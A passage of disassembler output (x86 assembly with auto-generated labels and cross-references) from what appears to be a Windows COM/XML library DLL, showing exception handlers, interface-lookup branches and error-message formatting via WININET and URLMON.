; END OF FUNCTION CHUNK FOR sub_69B1B814
; ---------------------------------------------------------------------------
dword_69B23D00 dd 6D78736Dh, 2E61326Ch, 6C6C64h; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1D411
loc_69B23D0C: ; CODE XREF: sub_69B1D411+34j
push offset sub_69B23D98 ; lpModuleName
call ds:GetModuleHandleA ; GetModuleHandleA
push 0 ; Arguments
push esi ; nSize
push dword ptr [ebp-1Ch] ; lpBuffer
push ebx ; dwLanguageId
push dword ptr [ebp+8] ; dwMessageId
push eax ; lpSource
push 800h ; dwFlags
call edi ; FormatMessageA
test eax, eax
ja loc_69B1D44B
push offset aWininet_dll_0 ; "WININET.DLL"
call ds:GetModuleHandleA ; GetModuleHandleA
push 0 ; Arguments
push esi ; nSize
push dword ptr [ebp-1Ch] ; lpBuffer
push ebx ; dwLanguageId
push dword ptr [ebp+8] ; dwMessageId
push eax ; lpSource
push 800h ; dwFlags
call edi ; FormatMessageA
jmp loc_69B1D44B
; ---------------------------------------------------------------------------
loc_69B23D53: ; CODE XREF: sub_69B1D411+44j
push dword ptr [ebp+8]
call sub_69B2F0F7
mov [ebp-28h], eax
push 0
push eax
push 0C00CE30Ah
call sub_69B2F944
add esp, 0Ch
jmp loc_69B1D468
; END OF FUNCTION CHUNK FOR sub_69B1D411
; =============== S U B R O U T I N E =======================================
sub_69B23D73 proc near ; DATA XREF: .text:69B1D48Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B23D73 endp
; =============== S U B R O U T I N E =======================================
sub_69B23D7C proc near ; DATA XREF: .text:69B1D490o
mov esp, [ebp-18h]
mov dword ptr [ebp-24h], offset off_69B1A5AC
jmp loc_69B1D46B
sub_69B23D7C endp
; ---------------------------------------------------------------------------
align 4
; char aWininet_dll_0[]
aWininet_dll_0 db 'WININET.DLL',0 ; DATA XREF: sub_69B1D411+6920o
; =============== S U B R O U T I N E =======================================
; const CHAR sub_69B23D98
sub_69B23D98 proc near ; DATA XREF: sub_69B1D411:loc_69B23D0Co
push ebp
push edx
dec esp
dec ebp
dec edi
dec esi
db 2Eh
inc esp
dec esp
dec esp
loc_69B23DA2: ; CODE XREF: sub_69B192E9+2Bj
add [ebx+7D89087Dh], cl
fmul dword ptr [ebx+5D890C5Dh]
fsubr qword ptr [edx+4]
lea eax, [ebp-28h]
push eax
call sub_69B1941C
mov esi, eax
test esi, esi
jnz short loc_69B23E12
push eax
lea ecx, [ebp-34h]
call sub_69B11D3B
push 4
lea eax, [ebp-28h]
push eax
call sub_69B190C1
mov [ebp-38h], eax
push 20h
call sub_69B17EF3
test eax, eax
jz short loc_69B23DF2
push dword ptr [ebp-38h]
push ebx
push edi
mov ecx, eax
call sub_69B17285
mov esi, eax
jmp short loc_69B23DF4
; ---------------------------------------------------------------------------
loc_69B23DF2: ; CODE XREF: sub_69B23D98+48j
xor esi, esi
loc_69B23DF4: ; CODE XREF: sub_69B23D98+58j
push esi
push dword ptr [ebp-38h]
mov eax, [ebp-20h]
mov ecx, [eax+460h]
call sub_69B18FB8
or dword ptr [esi+1Ch], 1
lea ecx, [ebp-34h]
call sub_69B1976C
loc_69B23E12: ; CODE XREF: sub_69B23D98+26j
mov eax, esi
jmp loc_69B19406
sub_69B23D98 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B192E9
loc_69B23E19: ; CODE XREF: sub_69B192E9+105j
lea eax, [edi+18h]
mov [ebp-64h], eax
push 0
push eax
call sub_69B17320
mov ecx, edi ; Value
call sub_69B2D96E
jmp loc_69B193F4
; END OF FUNCTION CHUNK FOR sub_69B192E9
; =============== S U B R O U T I N E =======================================
sub_69B23E33 proc near ; DATA XREF: .text:69B19414o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B23E33 endp
; =============== S U B R O U T I N E =======================================
sub_69B23E3C proc near ; DATA XREF: .text:69B19418o
mov esp, [ebp-18h]
lea ecx, [ebp-44h]
call sub_69B2D599
cmp dword ptr [ebp-1Ch], 3
jnz short loc_69B23E5A
mov ecx, dword_69B929E0
call sub_69B18381
jmp short loc_69B23E7E
; ---------------------------------------------------------------------------
loc_69B23E5A: ; CODE XREF: sub_69B23E3C+Fj
cmp dword ptr [ebp-1Ch], 2
jnz short loc_69B23E6D
mov ecx, dword_69B929D4
mov eax, [ecx]
call dword ptr [eax+10h]
jmp short loc_69B23E7E
; ---------------------------------------------------------------------------
loc_69B23E6D: ; CODE XREF: sub_69B23E3C+22j
cmp dword ptr [ebp-1Ch], 0
jz short loc_69B23E7E
mov ecx, dword_69B929D4
mov eax, [ecx]
call dword ptr [eax+18h]
loc_69B23E7E: ; CODE XREF: sub_69B23E3C+1Cj
; sub_69B23E3C+2Fj ...
call sub_69B2E860
jmp loc_69B193F7
sub_69B23E3C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B11FFF
loc_69B23E88: ; CODE XREF: sub_69B11FFF+1Cj
mov ecx, [eax+460h]
jmp loc_69B12027
; END OF FUNCTION CHUNK FOR sub_69B11FFF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19621
loc_69B23E93: ; CODE XREF: sub_69B19621+2Dj
mov edi, [ebp+8]
test edi, edi
jz short loc_69B23EA2
push edi
call sub_69B1980A
jmp short loc_69B23EAD
; ---------------------------------------------------------------------------
loc_69B23EA2: ; CODE XREF: sub_69B19621+A877j
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call sub_69B1941C
loc_69B23EAD: ; CODE XREF: sub_69B19621+A87Fj
mov esi, eax
test esi, esi
jnz loc_69B19750
push eax
lea ecx, [ebp-2Ch]
call sub_69B11D3B
test edi, edi
jz short loc_69B23ECE
mov eax, [edi+8]
mov edi, [edi+0Ch]
push eax
push edi
jmp short loc_69B23ED4
; ---------------------------------------------------------------------------
loc_69B23ECE: ; CODE XREF: sub_69B19621+A8A1j
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
loc_69B23ED4: ; CODE XREF: sub_69B19621+A8ABj
call sub_69B190C1
mov edi, eax
push 1Ch
call sub_69B17EF3
mov esi, eax
test esi, esi
jz short loc_69B23EFC
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+20h]
push eax
push edi
mov ecx, esi
call sub_69B180B6
mov esi, eax
jmp short loc_69B23EFE
; ---------------------------------------------------------------------------
loc_69B23EFC: ; CODE XREF: sub_69B19621+A8C5j
xor esi, esi
loc_69B23EFE: ; CODE XREF: sub_69B19621+A8D9j
push esi
push edi
mov eax, [ebp-20h]
mov ecx, [eax+45Ch]
call sub_69B18FB8
or dword ptr [esi+18h], 1
lea ecx, [ebp-2Ch]
jmp loc_69B1974B
; ---------------------------------------------------------------------------
loc_69B23F1A: ; CODE XREF: sub_69B19621+A1j
mov eax, [edi+8]
mov [ebp-44h], eax
mov edi, [edi+0Ch]
mov [ebp-48h], edi
push eax
push esi
push edi
jmp loc_69B1909C
; ---------------------------------------------------------------------------
loc_69B23F2E: ; CODE XREF: sub_69B19621+11Aj
lea eax, [edi+10h]
mov [ebp-5Ch], eax
push 0
push eax
call sub_69B17320
mov ecx, edi ; Value
call sub_69B2D96E
jmp loc_69B19741
; END OF FUNCTION CHUNK FOR sub_69B19621
; =============== S U B R O U T I N E =======================================
sub_69B23F48 proc near ; DATA XREF: .text:69B19764o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B23F48 endp
; =============== S U B R O U T I N E =======================================
sub_69B23F51 proc near ; DATA XREF: .text:69B19768o
mov esp, [ebp-18h]
lea ecx, [ebp-38h]
call sub_69B2D599
cmp dword ptr [ebp-1Ch], 3
jnz short loc_69B23F6F
mov ecx, dword_69B929E0
call sub_69B18381
jmp short loc_69B23F93
; ---------------------------------------------------------------------------
loc_69B23F6F: ; CODE XREF: sub_69B23F51+Fj
cmp dword ptr [ebp-1Ch], 2
jnz short loc_69B23F82
mov ecx, dword_69B929D0
mov eax, [ecx]
call dword ptr [eax+10h]
jmp short loc_69B23F93
; ---------------------------------------------------------------------------
loc_69B23F82: ; CODE XREF: sub_69B23F51+22j
cmp dword ptr [ebp-1Ch], 0
jz short loc_69B23F93
mov ecx, dword_69B929D0
mov eax, [ecx]
call dword ptr [eax+18h]
loc_69B23F93: ; CODE XREF: sub_69B23F51+1Cj
; sub_69B23F51+2Fj ...
call sub_69B2E860
xor esi, esi
jmp loc_69B19744
sub_69B23F51 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17D88
loc_69B23F9F: ; CODE XREF: sub_69B17D88+1Cj
mov ecx, [eax+45Ch]
jmp loc_69B17DB0
; END OF FUNCTION CHUNK FOR sub_69B17D88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17EBE
loc_69B23FAA: ; CODE XREF: sub_69B17EBE+8j
add ecx, 4
push ecx
call sub_69B17230
jmp locret_69B17ED0
; END OF FUNCTION CHUNK FOR sub_69B17EBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18ACB
loc_69B23FB8: ; CODE XREF: sub_69B18ACB+8j
push [esp+arg_4]
add ecx, 4
push ecx
call sub_69B17320
jmp locret_69B18AE0
; END OF FUNCTION CHUNK FOR sub_69B18ACB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A799
loc_69B23FCA: ; CODE XREF: sub_69B1A799+18j
mov [ebp+arg_0], edi
jmp loc_69B1A7B7
; END OF FUNCTION CHUNK FOR sub_69B1A799
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1C27E
loc_69B23FD2: ; CODE XREF: sub_69B1C27E+7j
mov eax, [esi+20h]
push edi
xor edi, edi
cmp [eax+8], edi
jle short loc_69B23FFD
loc_69B23FDD: ; CODE XREF: sub_69B1C27E+7D7Dj
mov ecx, [esi+20h]
push edi
call sub_69B171A0
cmp dword ptr [eax+0Ch], 0
jz short loc_69B23FF4
push esi
mov ecx, eax
call sub_69B17EA0
loc_69B23FF4: ; CODE XREF: sub_69B1C27E+7D6Cj
mov eax, [esi+20h]
inc edi
cmp edi, [eax+8]
jl short loc_69B23FDD
loc_69B23FFD: ; CODE XREF: sub_69B1C27E+7D5Dj
mov eax, [esi+20h]
and dword ptr [esi+0Ch], 0
mov eax, [eax+8]
mov [esi+1Ch], eax
pop edi
jmp loc_69B1C28B
; END OF FUNCTION CHUNK FOR sub_69B1C27E
; =============== S U B R O U T I N E =======================================
sub_69B24010 proc near ; DATA XREF: .text:69B19864o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B24010 endp
; =============== S U B R O U T I N E =======================================
sub_69B24019 proc near ; DATA XREF: .text:69B19868o
mov esp, [ebp-18h]
lea ecx, [ebp-1Ch]
call sub_69B1948C
call sub_69B2E860
jmp loc_69B19849
sub_69B24019 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18A22
loc_69B2402E: ; CODE XREF: sub_69B18A22+3Dj
cmp [ebp+arg_8], bl
mov ecx, [ebp+arg_0]
mov eax, [ecx+4]
mov [ebp+var_4], eax
jnz loc_69B18A8A
push [ebp+arg_4]
push esi
call sub_69B18ACB
jmp loc_69B18A8A
; ---------------------------------------------------------------------------
loc_69B2404E: ; CODE XREF: sub_69B18A22+6Ej
mov ecx, esi
call sub_69B31699
jmp loc_69B18A96
; ---------------------------------------------------------------------------
loc_69B2405A: ; CODE XREF: sub_69B18A22+14j
; sub_69B18A22+1Dj
push 80004003h
call sub_69B2E8B8
jmp loc_69B18A96
; END OF FUNCTION CHUNK FOR sub_69B18A22
; =============== S U B R O U T I N E =======================================
sub_69B24069 proc near ; DATA XREF: .text:69B17E98o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B24069 endp
; =============== S U B R O U T I N E =======================================
sub_69B24072 proc near ; DATA XREF: .text:69B17E9Co
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
push esi
lea ecx, [ebp-50h]
call sub_69B17EA0
call sub_69B2E860
jmp loc_69B17E58
sub_69B24072 endp
; ---------------------------------------------------------------------------
loc_69B2408B: ; DATA XREF: .text:69B17E8Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B24094: ; DATA XREF: .text:69B17E90o
mov esp, [ebp-18h]
lea ecx, [ebp-20h]
call sub_69B1900C
call sub_69B2E860
jmp loc_69B17E6D
; ---------------------------------------------------------------------------
loc_69B240A9: ; DATA XREF: .text:69B19004o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B240B2: ; DATA XREF: .text:69B19008o
mov esp, [ebp-18h]
lea ecx, [ebp-1Ch]
call sub_69B1900C
call sub_69B2E860
jmp loc_69B18FE7
; ---------------------------------------------------------------------------
loc_69B240C7: ; DATA XREF: .text:69B19484o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B240D0: ; DATA XREF: .text:69B19488o
mov esp, [ebp-18h]
lea ecx, [ebp-1Ch]
call sub_69B1948C
call sub_69B2E860
jmp loc_69B19464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A768
loc_69B240E5: ; CODE XREF: sub_69B1A768+9j
xor eax, eax
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_69B1A768
; =============== S U B R O U T I N E =======================================
sub_69B240EA proc near ; DATA XREF: .text:69B1A0A4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B240EA endp
; =============== S U B R O U T I N E =======================================
sub_69B240F3 proc near ; DATA XREF: .text:69B1A0A8o
mov esp, [ebp-18h]
lea ecx, [ebp-1Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B2D599
call sub_69B2E860
jmp loc_69B1D7D5
sub_69B240F3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1D617
loc_69B24110: ; CODE XREF: sub_69B1D617+14j
mov eax, 80004001h
jmp loc_69B1D689
; END OF FUNCTION CHUNK FOR sub_69B1D617
; =============== S U B R O U T I N E =======================================
sub_69B2411A proc near ; DATA XREF: .text:69B1D69Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B2411A endp
; =============== S U B R O U T I N E =======================================
sub_69B24123 proc near ; DATA XREF: .text:69B1D6A0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
jmp loc_69B1D682
sub_69B24123 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1D6A4
loc_69B24140: ; CODE XREF: sub_69B1D6A4+Cj
mov dword ptr [ecx+40h], 4
jmp locret_69B1D6B6
; END OF FUNCTION CHUNK FOR sub_69B1D6A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E09D
loc_69B2414C: ; CODE XREF: sub_69B1E09D+11j
mov eax, 80004005h
jmp loc_69B1E0DD
; END OF FUNCTION CHUNK FOR sub_69B1E09D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BCCF
loc_69B24156: ; CODE XREF: sub_69B1BCCF+Cj
xor eax, eax
retn
; END OF FUNCTION CHUNK FOR sub_69B1BCCF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E570
loc_69B24159: ; CODE XREF: sub_69B1E570+15j
call sub_69B1E031
push esi
call sub_69B3FC59
jmp loc_69B1E58B
; END OF FUNCTION CHUNK FOR sub_69B1E570
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18E72
loc_69B24169: ; CODE XREF: sub_69B18E72+11j
mov eax, 80004005h
jmp loc_69B18EB5
; END OF FUNCTION CHUNK FOR sub_69B18E72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1C04C
loc_69B24173: ; CODE XREF: sub_69B1C04C+44j
jz loc_69B2435B
test eax, eax
jz loc_69B24337
cmp eax, 3
jz loc_69B242CD
cmp eax, 20400h
jz short loc_69B241D2
cmp eax, 6D5140C1h
jnz loc_69B1C0C2
push offset dword_69B2B040
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
push 14h
call sub_69B1D897
mov [ebp-30h], eax
test eax, eax
jz loc_69B24865
push dword ptr [ebp-1Ch]
mov ecx, eax
call sub_69B88436
jmp loc_69B24867
; ---------------------------------------------------------------------------
loc_69B241D2: ; CODE XREF: sub_69B1C04C+8143j
push offset dword_69B2AFE0
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
xor ecx, ecx
mov [ebp-20h], ecx
mov al, [edi+8Dh]
cmp ebx, 3
jnz short loc_69B24256
mov [ebp-31h], al
test al, al
jz short loc_69B2422A
cmp [ebp+8], ecx
jz short loc_69B2420B
push dword ptr [ebp+8]
jmp loc_69B247D3
; ---------------------------------------------------------------------------
loc_69B2420B: ; CODE XREF: sub_69B1C04C+81B5j
push 44h
call sub_69B1D897
mov [ebp-38h], eax
test eax, eax
jz loc_69B24797
push edi
mov ecx, eax
call sub_69B592CE
jmp loc_69B24799
; ---------------------------------------------------------------------------
loc_69B2422A: ; CODE XREF: sub_69B1C04C+81B0j
cmp [ebp+10h], ecx
jz short loc_69B24237
push dword ptr [ebp+10h]
jmp loc_69B247D3
; ---------------------------------------------------------------------------
loc_69B24237: ; CODE XREF: sub_69B1C04C+81E1j
push 1Ch
call sub_69B1D897
mov [ebp-3Ch], eax
test eax, eax
jz loc_69B24797
push edi
mov ecx, eax
call sub_69B1DF3D
jmp loc_69B24799
; ---------------------------------------------------------------------------
loc_69B24256: ; CODE XREF: sub_69B1C04C+81A9j
mov [ebp-3Dh], al
test al, al
jz short loc_69B24277
cmp [ebp+0Ch], ecx
loc_69B24260: ; CODE XREF: sub_69B1C04C+85AAj
jz short loc_69B2426A
push dword ptr [ebp+0Ch]
jmp loc_69B247D3
; ---------------------------------------------------------------------------
loc_69B2426A: ; CODE XREF: sub_69B1C04C:loc_69B24260j
mov ecx, [ebp-1Ch]
call sub_69B48B01
jmp loc_69B24799
; ---------------------------------------------------------------------------
loc_69B24277: ; CODE XREF: sub_69B1C04C+820Fj
cmp [ebp+14h], ecx
jnz loc_69B247D0
mov eax, [ebp-1Ch]
mov eax, [eax+8]
shr eax, 14h
push 1Ch
test al, 1
jz short loc_69B242AE
call sub_69B1D897
mov [ebp-44h], eax
loc_69B24297: ; CODE XREF: sub_69B1C04C+8704j
test eax, eax
jz loc_69B24797
push dword ptr [ebp-1Ch]
mov ecx, eax
call sub_69B45B61
jmp loc_69B24799
; ---------------------------------------------------------------------------
loc_69B242AE: ; CODE XREF: sub_69B1C04C+8241j
call sub_69B1D897
mov [ebp-48h], eax
loc_69B242B6: ; CODE XREF: sub_69B1C04C+8746j
; sub_69B1C04C+879Fj
test eax, eax
jz loc_69B24797
push dword ptr [ebp-1Ch]
mov ecx, eax
call sub_69B458D3
jmp loc_69B24799
; ---------------------------------------------------------------------------
loc_69B242CD: ; CODE XREF: sub_69B1C04C+8138j
cmp ebx, 3
jz loc_69B1C0F9
push offset dword_69B2B030
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
mov ecx, [ebp-1Ch]
call sub_69B1B42A
test eax, eax
jz loc_69B1C10D
mov edi, [ebp+0Ch]
mov [ebp-4Ch], edi
test edi, edi
jnz short loc_69B24312
mov ecx, [ebp-1Ch]
call sub_69B48B01
mov edi, eax
mov [ebp-4Ch], edi
loc_69B24312: ; CODE XREF: sub_69B1C04C+82B7j
push esi ; int
push dword ptr [ebp+18h] ; int
push edi ; punkOuter
lea ecx, [edi+24h] ; ppunkMarshal
call sub_69B88245
mov [ebp-20h], eax
cmp dword ptr [ebp+0Ch], 0
jnz loc_69B1C10D
mov eax, [edi]
push edi
call dword ptr [eax+8]
jmp loc_69B1C10D
; ---------------------------------------------------------------------------
loc_69B24337: ; CODE XREF: sub_69B1C04C+812Fj
push offset stru_69B1CA6C
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 3
jnz loc_69B24813
push edi
jmp loc_69B24816
; ---------------------------------------------------------------------------
loc_69B2435B: ; CODE XREF: sub_69B1C04C:loc_69B24173j
push offset dword_69B2B050
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
mov al, [edi+8Dh]
mov [ebp-4Dh], al
test al, al
jz loc_69B1C10D
cmp ebx, 3
jnz short loc_69B243BA
mov eax, [ebp+8]
test eax, eax
jz short loc_69B24396
add eax, 34h
loc_69B24390: ; CODE XREF: sub_69B1C04C+8378j
push eax
jmp loc_69B24816
; ---------------------------------------------------------------------------
loc_69B24396: ; CODE XREF: sub_69B1C04C+833Fj
push 44h
call sub_69B1D897
mov [ebp-54h], eax
test eax, eax
jz short loc_69B243AE
push edi
mov ecx, eax
call sub_69B592CE
jmp short loc_69B243B0
; ---------------------------------------------------------------------------
loc_69B243AE: ; CODE XREF: sub_69B1C04C+8356j
xor eax, eax
loc_69B243B0: ; CODE XREF: sub_69B1C04C+8360j
mov ecx, eax
add eax, 34h
jmp loc_69B24702
; ---------------------------------------------------------------------------
loc_69B243BA: ; CODE XREF: sub_69B1C04C+8338j
mov eax, [ebp+0Ch]
test eax, eax
jz short loc_69B243C6
add eax, 18h
jmp short loc_69B24390
; ---------------------------------------------------------------------------
loc_69B243C6: ; CODE XREF: sub_69B1C04C+8373j
mov ecx, [ebp-1Ch]
call sub_69B48B01
loc_69B243CE: ; CODE XREF: sub_69B1C04C+8647j
mov ecx, eax
add eax, 18h
jmp loc_69B24702
; ---------------------------------------------------------------------------
loc_69B243D8: ; CODE XREF: sub_69B1C04C+81j
mov ecx, 2933BF8Ah
cmp eax, ecx
ja loc_69B2459F
jz loc_69B2456E
sub eax, 2933BF80h
jz loc_69B24567
sub eax, 4
jz loc_69B2452C
dec eax
jz loc_69B244F6
dec eax
jz loc_69B244C6
dec eax
jz short loc_69B2448B
dec eax
jz short loc_69B24455
dec eax
jnz loc_69B1C0F4
push offset dword_69B25DA4
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 5
jz short loc_69B2443D
cmp ebx, 12h
jnz loc_69B1C10D
loc_69B2443D: ; CODE XREF: sub_69B1C04C+83E6j
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-5Ch], eax
mov ecx, eax
add eax, 8
jmp loc_69B24702
; ---------------------------------------------------------------------------
loc_69B24455: ; CODE XREF: sub_69B1C04C+83C5j
push offset dword_69B25DB4
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 2
jnz loc_69B1C10D
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-60h], eax
mov ecx, eax
add eax, 0Ch
jmp loc_69B24702
; ---------------------------------------------------------------------------
loc_69B2448B: ; CODE XREF: sub_69B1C04C+83C2j
push offset dword_69B25DC4
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 1
jz short loc_69B244AE
cmp ebx, 6
jnz loc_69B1C10D
loc_69B244AE: ; CODE XREF: sub_69B1C04C+8457j
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-64h], eax
loc_69B244BC: ; CODE XREF: sub_69B1C04C+8516j
; sub_69B1C04C+854Ej
mov ecx, eax
add eax, 10h
jmp loc_69B24702
; ---------------------------------------------------------------------------
loc_69B244C6: ; CODE XREF: sub_69B1C04C+83BBj
push offset dword_69B25DD4
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
test ebx, ebx
jnz loc_69B1C10D
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-68h], eax
jmp loc_69B24867
; ---------------------------------------------------------------------------
loc_69B244F6: ; CODE XREF: sub_69B1C04C+83B4j
push offset dword_69B25DE4
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 0Fh
jnz loc_69B1C10D
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-6Ch], eax
mov ecx, eax
add eax, 4
jmp loc_69B24702
; ---------------------------------------------------------------------------
loc_69B2452C: ; CODE XREF: sub_69B1C04C+83ADj
push offset dword_69B25DF4
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 1
jz short loc_69B24554
cmp ebx, 6
jz short loc_69B24554
cmp ebx, 2
jnz loc_69B1C10D
loc_69B24554: ; CODE XREF: sub_69B1C04C+84F8j
; sub_69B1C04C+84FDj
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-70h], eax
jmp loc_69B244BC
; ---------------------------------------------------------------------------
loc_69B24567: ; CODE XREF: sub_69B1C04C+83A4j
push offset dword_69B25E54
jmp short loc_69B245DE
; ---------------------------------------------------------------------------
loc_69B2456E: ; CODE XREF: sub_69B1C04C+8399j
push offset dword_69B25D94
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 6
jnz loc_69B1C10D
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-74h], eax
jmp loc_69B244BC
; ---------------------------------------------------------------------------
loc_69B2459F: ; CODE XREF: sub_69B1C04C+8393j
cmp eax, 2933BF8Bh
jz loc_69B246CE
cmp eax, 2933BF8Ch
jz loc_69B24698
cmp eax, 2933BF8Dh
jz loc_69B24667
cmp eax, 2933BF8Eh
jz short loc_69B24631
cmp eax, 3EFAA413h
jz short loc_69B245FB
cmp eax, 0F5078F16h
jnz loc_69B1C0F4
push offset dword_69B248C8
loc_69B245DE: ; CODE XREF: sub_69B1C04C+8520j
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
and dword ptr [ebp-20h], 0
cmp dword ptr [ebp+0Ch], 0
jmp loc_69B24260
; ---------------------------------------------------------------------------
loc_69B245FB: ; CODE XREF: sub_69B1C04C+8580j
push offset dword_69B25E44
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 11h
jnz loc_69B1C10D
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-78h], eax
mov ecx, eax
add eax, 14h
jmp loc_69B24702
; ---------------------------------------------------------------------------
loc_69B24631: ; CODE XREF: sub_69B1C04C+8579j
push offset dword_69B25D54
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 0Bh
jnz loc_69B1C10D
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-7Ch], eax
mov ecx, eax
add eax, 20h
jmp loc_69B24702
; ---------------------------------------------------------------------------
loc_69B24667: ; CODE XREF: sub_69B1C04C+856Ej
push offset dword_69B25D64
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 7
jnz loc_69B1C10D
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-80h], eax
jmp loc_69B243CE
; ---------------------------------------------------------------------------
loc_69B24698: ; CODE XREF: sub_69B1C04C+8563j
push offset dword_69B25D74
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 8
jnz loc_69B1C10D
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-84h], eax
mov ecx, eax
add eax, 1Ch
jmp short loc_69B24702
; ---------------------------------------------------------------------------
loc_69B246CE: ; CODE XREF: sub_69B1C04C+8558j
push offset dword_69B25D84
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
cmp ebx, 4
jnz loc_69B1C10D
push dword ptr [ebp+0Ch]
mov ecx, [ebp-1Ch]
call sub_69B43E46
mov [ebp-88h], eax
mov ecx, eax
add eax, 24h
loc_69B24702: ; CODE XREF: sub_69B1C04C+8369j
; sub_69B1C04C+8387j ...
neg ecx
sbb ecx, ecx
and ecx, eax
mov [esi], ecx
jmp loc_69B24869
; ---------------------------------------------------------------------------
loc_69B2470F: ; CODE XREF: sub_69B1C04C+A2j
push offset dword_69B24898
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
mov eax, [ebp-1Ch]
mov eax, [eax+8]
shr eax, 14h
test al, 1
jz loc_69B1C10D
and dword ptr [ebp-20h], 0
cmp dword ptr [ebp+14h], 0
jnz loc_69B247D0
push 1Ch
call sub_69B1D897
mov [ebp-8Ch], eax
jmp loc_69B24297
; ---------------------------------------------------------------------------
loc_69B24755: ; CODE XREF: sub_69B1C04C+97j
push offset dword_69B248B8
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
mov eax, [ebp-1Ch]
mov eax, [eax+8]
shr eax, 14h
test al, 1
jnz loc_69B1C10D
and dword ptr [ebp-20h], 0
cmp dword ptr [ebp+14h], 0
jnz short loc_69B247D0
push 1Ch
call sub_69B1D897
mov [ebp-90h], eax
jmp loc_69B242B6
; ---------------------------------------------------------------------------
loc_69B24797: ; CODE XREF: sub_69B1C04C+81CBj
